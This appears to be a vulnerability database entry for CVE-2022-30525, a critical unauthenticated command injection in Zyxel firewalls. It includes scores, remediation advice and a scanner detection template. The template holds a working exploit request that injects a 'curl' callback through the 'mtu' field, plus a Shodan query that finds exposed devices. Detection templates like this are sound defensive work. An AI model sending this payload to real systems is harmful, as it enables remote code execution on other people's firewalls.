9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.7 High
AI Score
Confidence
High
10 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
0.975 High
EPSS
Percentile
100.0%
An OS command injection vulnerability in the CGI program of Zyxel USG FLEX 100(W) firmware versions 5.00 through 5.21 Patch 1, USG FLEX 200 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 500 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 700 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 50(W) firmware versions 5.10 through 5.21 Patch 1, USG20(W)-VPN firmware versions 5.10 through 5.21 Patch 1, ATP series firmware versions 5.10 through 5.21 Patch 1, VPN series firmware versions 4.60 through 5.21 Patch 1, are susceptible to a command injection vulnerability which could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device.
id: CVE-2022-30525
info:
name: Zyxel Firewall - OS Command Injection
author: h1ei1,prajiteshsingh
severity: critical
description: |
An OS command injection vulnerability in the CGI program of Zyxel USG FLEX 100(W) firmware versions 5.00 through 5.21 Patch 1, USG FLEX 200 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 500 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 700 firmware versions 5.00 through 5.21 Patch 1, USG FLEX 50(W) firmware versions 5.10 through 5.21 Patch 1, USG20(W)-VPN firmware versions 5.10 through 5.21 Patch 1, ATP series firmware versions 5.10 through 5.21 Patch 1, VPN series firmware versions 4.60 through 5.21 Patch 1, are susceptible to a command injection vulnerability which could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device.
impact: |
Successful exploitation of this vulnerability can lead to unauthorized remote code execution, compromising the confidentiality, integrity, and availability of the affected system.
remediation: |
Apply the latest security patches or firmware updates provided by Zyxel to mitigate this vulnerability.
reference:
- https://www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/
- https://github.com/rapid7/metasploit-framework/pull/16563
- https://www.zyxel.com/support/Zyxel-security-advisory-for-OS-command-injection-vulnerability-of-firewalls.shtml
- https://nvd.nist.gov/vuln/detail/CVE-2022-30525
- http://packetstormsecurity.com/files/167176/Zyxel-Remote-Command-Execution.html
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-30525
cwe-id: CWE-78
epss-score: 0.97482
epss-percentile: 0.99967
cpe: cpe:2.3:o:zyxel:usg_flex_100w_firmware:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: zyxel
product: usg_flex_100w_firmware
shodan-query: title:"USG FLEX 100","USG FLEX 100w","USG FLEX 200","USG FLEX 500","USG FLEX 700","USG FLEX 50","USG FLEX 50w","ATP100","ATP200","ATP500","ATP700"
tags: cve2022,cve,packetstorm,zyxel,firewall,unauth,kev,msf,rce
http:
- raw:
- |
POST /ztp/cgi-bin/handler HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"; curl {{interactsh-url}};","data":"hi"}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: status
status:
- 500
# digest: 4b0a00483046022100d2611a4bbd37c92e10c7c04c5287817c5276dc06e9595aa43f4c7e2d7f9d6f32022100e8b1382edb51ac7f80e2006d4ef501e49d529af2ea63b39cb9842b574f17f6db:922c64590222798bb761d5b6d8e72950
packetstormsecurity.com/files/167176/Zyxel-Remote-Command-Execution.html
github.com/rapid7/metasploit-framework/pull/16563
nvd.nist.gov/vuln/detail/CVE-2022-30525
www.rapid7.com/blog/post/2022/05/12/cve-2022-30525-fixed-zyxel-firewall-unauthenticated-remote-command-injection/
www.zyxel.com/support/Zyxel-security-advisory-for-OS-command-injection-vulnerability-of-firewalls.shtml
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.7 High
AI Score
Confidence
High
10 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
0.975 High
EPSS
Percentile
100.0%